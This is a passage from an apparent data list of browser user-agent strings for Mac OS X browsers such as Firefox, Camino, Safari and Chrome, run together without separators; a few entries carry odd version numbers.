rv:1.9.0.13) Gecko/2009073021 Firefox/3.0.13 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 GTB5 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 FirePHP/0.5 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-GB; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9) Gecko/2008061712 Firefox/3.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.16) Gecko/20101123 SeaMonkey/2.0.11 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.18) Gecko/20110320 SeaMonkey/2.0.13 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 3.5.30729) Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.9) Gecko/20100317 Thunderbird/3.0.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1b2pre) Gecko/20081015 Fennec/1.0a1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko/20091218 Firefox 3.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko/20091218 Firefox 3.6b5 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 ( .NET CLR 3.5.30729; .NET4.0C) Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.13; ) Gecko/20101203 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.14) Gecko/20110218 AlexaToolbar/alxf-2.0 Firefox/3.6.14 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.3) Gecko/20100402 Prism/1.0b4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.8) Gecko/20100802 Thunderbird/3.1.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.3a1pre) Gecko/20091002 Minefield/3.7a1pre Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.3a1pre) Gecko/20100103 Minefield/3.7a1pre Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.3a3pre) Gecko/20100306 Minefield/3.7a3pre Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.3a4pre) Gecko/20100318 Minefield/3.7a4pre Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en; rv:1.9.0.18) Gecko/2010021619 Camino/2.0.2 (like Firefox/3.0.18) Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en; rv:1.9.0.19) Gecko/2010111021 Camino/2.0.6 (MultiLang) (like Firefox/3.0.19) Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en; rv:1.9.2.14pre) Gecko/20101212 Camino/2.1a1pre (like Firefox/3.6.14pre) Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en; rv:1.9.2.14pre) Gecko/20101212 Camino/2.1a1pre (like Firefox/3.6.14pre) Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en; rv:1.9.2.29pre) Gecko/20130101 Camino/2.1.3pre (like Firefox/3.6.29pre) Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en; rv:1.9.2.8) Gecko/20100805 Firefox/3.6.8 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; es-ES; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2) Gecko/20100115 Firefox/3.6 (.NET CLR 3.5.30729) Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.23) Gecko/20110920 Firefox/3.6.23 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.28) Gecko/20120308 Camino/2.1.2 (MultiLang) (like Firefox/3.6.28) Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; gl; rv:1.9.2) Gecko/20100115 Firefox/3.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; he; rv:1.9.1b4pre) Gecko/20100405 Firefox/3.6.3plugin1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; nb-NO; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; nl; rv:1.9.0.19) Gecko/2010051911 Camino/2.0.3 (MultiLang) (like Firefox/3.0.19) Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; nl; rv:1.9.2) Gecko/20100115 Firefox/3.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; pt-BR; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 GTB7.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; sv-SE; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6;en-US; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.7; en-US; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.8; it; rv:1.9.2.28) Gecko/20120308 Camino/2.1.2 (MultiLang) (like Firefox/3.6.28) Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.8; it; rv:1.9.2.28) Gecko/20130628 Camino/3.245.226 (MultiLang) (like Firefox/3.621.218) Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.8; it; rv:1.93.26.2658) Gecko/20141026 Camino/2.176.223 (MultiLang) (like Firefox/3.64.2268)0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; cy) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; en) AppleWebKit/525.13 (KHTML, like Gecko) Shiira Safari/125 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; en) AppleWebKit/525.18 (KHTML, like Gecko) Shiira Safari/125 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; en) AppleWebKit/525.18 (KHTML, like Gecko) Sunrise/1.7.4 like Safari/4525.22 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; en) AppleWebKit/528.16 (KHTML, like Gecko) Shiira Safari/125 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; en) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; en) AppleWebKit/530.1+ (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; en-GB) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.22 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; en-us) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; en-us) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Safari/525.22 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; es) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.22 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; fi-fi) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.22 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; fr) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.22 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; it-it) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; pt-pt) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.22 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; ru-ru) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.18 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; ta) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_1; en-gb) AppleWebKit/525.3+ (KHTML, like Gecko) Version/3.0.4 Safari/523.10.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_1; en-us) AppleWebKit/525.2+ (KHTML, like Gecko) Version/3.0.4 Safari/523.10.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_1; en-us) AppleWebKit/525.3+ (KHTML, like Gecko) Version/3.0.4 Safari/523.10.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; en-au) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.18 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; en-au) AppleWebKit/525.8+ (KHTML, like Gecko) Version/3.1 Safari/525.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; en-ca) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.18 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; en-gb) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; en-us) AppleWebKit/525.18 (KHTML, like Gecko) Sunrise/1.7.1 like Safari/5525.18 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; en-us) AppleWebKit/525.7 (KHTML, like Gecko) Version/3.1 Safari/525.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; en-us) AppleWebKit/525.9 (KHTML, like Gecko) Version/3.1 Safari/525.9 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; en-us) AppleWebKit/526+ (KHTML, like Gecko) Version/3.0.4 Safari/523.15 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; en-us) AppleWebKit/526.1+ (KHTML, like Gecko) Version/3.1 Safari/525.13 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; es-es) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; fr-fr) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.18 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; fr-fr) AppleWebKit/525.9 (KHTML, like Gecko) Version/3.1 Safari/525.9 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; it-it) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; ja-jp) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.18 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; nb-no) AppleWebKit/525.8+ (KHTML, like Gecko) Version/3.0.4 Safari/523.15 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; pt-br) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3 ; en-GB; ) Gecko/20061010 Firefox/3.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; en-ca) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; en-us) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.0.4 Safari/523.15 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; en-us) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.2.1 Safari/525.19 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; es-es) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; hu-hu) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; nb-no) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; nl-nl) AppleWebKit/527+ (KHTML, like Gecko) Version/3.1.1 Safari/525.20 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-gb) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-us) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.0.4 Safari/523.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-us) AppleWebKit/525.21 (KHTML, like Gecko) Version/3.1.2 Safari/525.21 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-us) AppleWebKit/525.27 (KHTML, like Gecko) Version/3.2.1 Safari/525.27 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-us) AppleWebKit/526.1+ (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-us) AppleWebKit/527.2+ (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-us) AppleWebKit/528.1 (KHTML, like Gecko) Version/4.0 Safari/528.1 Stainless/0.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-us) AppleWebKit/528.4+ (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-us) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; fr-fr) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; fr-fr) AppleWebKit/527.2+ (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; ko-kr) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; nb-no) AppleWebKit/528.1+ (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; nl-nl) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0 Safari/528.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-au) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-gb) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-us) AppleWebKit/525.18 (KHTML, like Gecko) NetNewsWire/3.1.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-us) AppleWebKit/525.25 (KHTML, like Gecko) Version/3.2 Safari/525.25 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-us) AppleWebKit/525.27.1 (KHTML, like Gecko) Stainless/0.4 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-us) AppleWebKit/525.27.1 (KHTML, like Gecko) Stainless/0.4.5 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-us) AppleWebKit/528.1 (KHTML, like Gecko) Stainless/0.3.5 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-us) AppleWebKit/528.1 (KHTML, like Gecko) Version/4.0 Safari/528.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-us) AppleWebKit/528.11+ (KHTML, like Gecko) Version/3.0.4 Safari/523.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-us) AppleWebKit/528.7+ (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; es-es) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; fr-fr) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; fr-fr) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; it-it) AppleWebKit/525.18 (KHTML, like Gecko) Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; it-it) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; ja-jp) AppleWebKit/525.18 (KHTML, like Gecko) Sunrise/1.7.5 like Safari/5525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; ja-jp) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.12 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; nl-nl) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; nl-nl) AppleWebKit/528.4+ (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; pl-pl) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; sv-se) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; sv-se) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; sv-se) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.12 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; zh-tw) AppleWebKit/525.18 (KHTML, like Gecko) Stainless/0.3 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; zh-tw) AppleWebKit/525.27.1 (KHTML, like Gecko) Stainless/0.4 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; zh-tw) AppleWebKit/525.27.1 (KHTML, like Gecko) Stainless/0.4.5 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6 ; en-GB; ) Gecko/20061010 Firefox/3.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; da-dk) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; de-de) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; de-de) AppleWebKit/525.27.1 (KHTML, like Gecko) NetNewsWire/3.1.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; de-de) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; de-de) AppleWebKit/530.1+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/528.16 (KHTML, like Gecko, Safari/528.16) OmniWeb/v622.8.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/ Safari/530.5 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/ Safari/530.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/530.9 (KHTML, like Gecko) Chrome/ Safari/530.9 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-gb) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-gb) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/5 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-gb) AppleWebKit/528.10+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-gb) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit /530.1+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.1 Safari/525.13 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/ Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/528.10+ (KHTML, like Gecko) Version/4.0 Safari/528.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/528.16 (KHTML, like Gecko) Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/528.16 (KHTML, like Gecko) Fluid/0.9.6 Safari/528.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/528.16 (KHTML, like Gecko) Stainless/0.5.3 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/528.16 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/528.4+ (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/528.7+ (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/530.0+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/530.1+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/530.1+ (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/530.4+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/530.5+ (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/530.6+ (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/530.6+ (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/530.7+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; es-es) AppleWebKit/525.27.1 (KHTML, like Gecko) Stainless/0.4.5 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; es-es) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; es-es) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; fr-ca) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; fr-fr) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; fr-fr) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; fr-fr) AppleWebKit/530.5+ (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; hr-hr) AppleWebKit/530.1+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; it-it) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; it-it) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; it-it) AppleWebKit/528.8+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; ko-kr) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; ko-kr) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; nb-no) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; nb-no) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; ru-ru) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; ru-ru) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; zh-tw) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 